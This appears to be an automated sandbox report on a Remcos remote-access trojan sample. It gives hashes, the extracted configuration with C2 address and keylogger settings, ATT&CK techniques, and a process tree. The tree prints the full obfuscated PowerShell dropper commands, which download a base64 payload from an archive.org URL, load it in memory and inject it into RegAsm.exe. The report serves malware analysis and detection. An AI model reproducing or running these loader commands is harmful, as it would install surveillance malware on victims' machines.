remcos | f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41

General

Target

f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41.vbs
Size

283KB
MD5

0c6c4542c1abc5fc3d5eab3e4ab3793a
SHA1

288dfb240061530c2c73ae4183b7330623e94a69
SHA256

f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41
SHA512

7c3e22629060d8b18f1e88cbcb946d470599ac14699c75a7c1bf5cec0e174b8b3552eb6ec580defa747cb4cd5d9bfcc56e4ee9aa3dd366ed4272f88718ed8e2b
SSDEEP

6144:krHUuR5e0zLMcgGkkurXmTX/lb+rsb4Okiy+3kPvvA:kr0uR5e0nMc/kLrWTX/lb+rsb4Okiy47

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

C2

45.90.89.98:8243

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
loat
keylog_path
%Temp%
mouse_option
false
mutex
Rmc-O0U3JA
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1192	powershell.exe
18	1192	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
540	powershell.exe
1192	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1192 set thread context of 4444	1192	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
540	powershell.exe
540	powershell.exe
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4444	RegAsm.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3472 wrote to memory of 540	3472	WScript.exe	82
PID 3472 wrote to memory of 540	3472	WScript.exe	82
PID 540 wrote to memory of 1192	540	powershell.exe	84
PID 540 wrote to memory of 1192	540	powershell.exe	84
PID 1192 wrote to memory of 2136	1192	powershell.exe	85
PID 1192 wrote to memory of 2136	1192	powershell.exe	85
PID 1192 wrote to memory of 2136	1192	powershell.exe	85
PID 1192 wrote to memory of 3416	1192	powershell.exe	86
PID 1192 wrote to memory of 3416	1192	powershell.exe	86
PID 1192 wrote to memory of 3416	1192	powershell.exe	86
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87
PID 1192 wrote to memory of 4444	1192	powershell.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f47da41573231159283b297aee90e0265ae0b53812d508d59be4fd97e89bdd41.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1192
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:2136
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3416
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:4444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kdqjy1q5.z3u.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\loat\logs.dat

Filesize
144B

MD5
d5092d757e1d67e88679638e4c36d8aa

SHA1
d4b201a4b8861465b2f73a06e1baf2c742d9719f

SHA256
9fd85e8c27ea001ea2df28425637755db1737a956a191de7e708bcae098c7a4c

SHA512
b60f2ef598103e3ed62555f2b6134e86923279695c83d811db9307fadcb3319924a31807833a13c1156765e316da274d654228be74cf0307109cac0fff10ee88

Download Submit
memory/540-32-0x00007FF86E120000-0x00007FF86EBE1000-memory.dmp

Filesize
10.8MB

Download
memory/540-6-0x00000170F1C20000-0x00000170F1C42000-memory.dmp

Filesize
136KB

Download
memory/540-11-0x00007FF86E120000-0x00007FF86EBE1000-memory.dmp

Filesize
10.8MB

Download
memory/540-12-0x00007FF86E120000-0x00007FF86EBE1000-memory.dmp

Filesize
10.8MB

Download
memory/540-0-0x00007FF86E123000-0x00007FF86E125000-memory.dmp

Filesize
8KB

Download
memory/1192-22-0x000002502DE30000-0x000002502E03C000-memory.dmp

Filesize
2.0MB

Download
memory/4444-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-23-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-29-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-55-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4444-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads